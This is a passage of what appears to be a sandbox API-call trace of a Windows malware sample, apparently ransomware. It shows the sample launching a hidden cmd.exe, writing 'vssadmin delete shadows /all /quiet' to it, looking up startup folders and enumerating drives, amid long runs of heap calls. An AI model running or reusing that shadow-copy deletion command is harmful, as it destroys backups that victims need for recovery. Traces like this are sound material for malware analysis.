Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.787] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4e58e8 [0057.787] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.788] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.788] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0057.788] lstrlenW (lpString="kernel32.dll") returned 12 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e8 | out: hHeap=0x4b0000) returned 1 [0057.788] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x21b0020 | out: hHeap=0x4b0000) returned 1 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eb430 | out: hHeap=0x4b0000) returned 1 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb438 | out: hHeap=0x4b0000) returned 1 [0057.788] lstrlenW (lpString="%windir%\\System32") returned 17 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e69b0 | out: hHeap=0x4b0000) returned 1 [0057.788] lstrlenW (lpString="%appdata%") returned 9 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c43a0 | out: hHeap=0x4b0000) returned 1 [0057.788] lstrlenW (lpString="%sh(Startup)%") returned 13 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4378 | out: hHeap=0x4b0000) returned 1 [0057.788] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0057.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e69f8 | out: hHeap=0x4b0000) returned 1 [0057.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4c4378 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4378, Size=0x40) returned 0x4e69f8 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e69f8, Size=0x80) returned 0x50b458 [0057.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4c4378 [0057.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1fffc) returned 0x4eb430 [0057.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d440 [0057.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d448 [0057.789] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a38 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a38, Size=0x20) returned 0x4c43a0 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c43a0, Size=0x40) returned 0x4e69f8 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e69f8, Size=0x80) returned 0x50b4e0 [0057.789] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b4e0, Size=0x100) returned 0x4e7bb8 [0057.789] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.789] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb8 | out: hHeap=0x4b0000) returned 1 [0057.789] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x50d440, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0057.789] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d448 | out: hHeap=0x4b0000) returned 1 [0057.789] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d440 | out: hHeap=0x4b0000) returned 1 [0057.789] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0057.790] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0057.790] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0057.790] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0057.791] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb1c, dwThreadId=0xb94)) returned 1 [0058.205] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0058.205] WriteFile (in: hFile=0xec, lpBuffer=0x50b458*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x50b458*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0058.205] CloseHandle (hObject=0xfc) returned 1 [0058.205] CloseHandle (hObject=0xf8) returned 1 [0058.205] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eb430 | out: hHeap=0x4b0000) returned 1 [0058.205] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0058.205] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b458 | out: hHeap=0x4b0000) returned 1 [0058.205] lstrlenW (lpString="%comspec%") returned 9 [0058.205] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4378 | out: hHeap=0x4b0000) returned 1 [0058.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0058.206] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4a38 [0058.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4e4a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0058.207] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c47b0 [0058.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4c47b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0058.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a50 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a50, Size=0x20) returned 0x4c4378 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4378, Size=0x40) returned 0x4e69f8 [0058.208] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0058.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xd0) returned 0x4e7c30 [0058.208] GetLogicalDrives () returned 0x4 [0058.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10014) returned 0x4eb430 [0058.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a50 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a50, Size=0x20) returned 0x4c4378 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4378, Size=0x40) returned 0x4e6a88 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a88, Size=0x80) returned 0x50b458 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x4e91a0 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x200) returned 0x4e91a0 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x400) returned 0x4e91a0 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x800) returned 0x4e97b8 [0058.208] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e97b8, Size=0x1000) returned 0x4fb450 [0058.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x50d440 [0058.208] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a50 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b28 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4758 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b40 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4768 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b58 [0058.209] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4768, Size=0x8) returned 0x4c4768 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b70 [0058.209] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4768, Size=0x10) returned 0x4c4720 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b88 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4ba0 [0058.209] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4720, Size=0x20) returned 0x4e7ab8 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4bb8 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4768 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4bd0 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4be8 [0058.209] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e7ab8, Size=0x40) returned 0x4e52e0 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c00 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c18 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c30 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c48 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c60 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c78 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e5328 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c90 [0058.209] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e52e0, Size=0x80) returned 0x4e91a0 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4ca8 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cc0 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cd8 [0058.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cf0 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e97d0 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e97e8 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9800 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4720 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9818 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9830 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9848 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9860 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9878 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9890 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e98a8 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98c0 [0058.210] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x100) returned 0x4e91a0 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98d8 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98f0 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9908 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e9920 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9938 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9950 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4730 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9968 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9980 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9998 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4e7ab8 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99b0 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99c8 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e7ac8 [0058.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99e0 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99f8 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9a10 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a28 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a40 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a58 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e9a70 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a88 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e9aa0 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ab8 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ad0 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ae8 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b00 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e7ad8 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b18 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b30 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b48 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b60 [0058.211] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x200) returned 0x4e91a0 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b78 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e52e0 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b90 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9bd0 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9be8 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c00 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c18 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c30 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c48 [0058.211] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c60 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c78 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9c90 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9ca8 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9cc0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9cd8 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9cf0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d08 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d20 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d38 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d50 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d68 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d80 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d98 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e52f0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9db0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9dc8 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9de0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e9fd0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9df8 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9e10 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e28 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e40 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e58 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e70 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e88 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ea0 [0058.212] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9eb8 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9ed0 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ee8 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f00 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f18 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9f30 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f48 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f60 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f78 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f90 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc470 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc488 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4a0 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e9fe0 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4e9ff0 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4b8 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4d0 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc4e8 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc500 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc518 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc530 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc548 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc560 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc578 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc590 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc5a8 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc5c0 [0058.213] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc5d8 [0058.213] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x400) returned 0x4e91a0 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc5f0 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc608 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc620 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc638 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc650 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc668 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc680 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc698 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc6b0 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc6c8 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea000 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc6e0 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fc6f8 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc710 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc728 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc740 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc758 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fc770 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc788 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7a0 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7b8 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7d0 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc7e8 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc800 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc818 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc830 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea010 [0058.214] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc870 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc888 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8a0 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8b8 [0058.215] RtlAllocateHeap 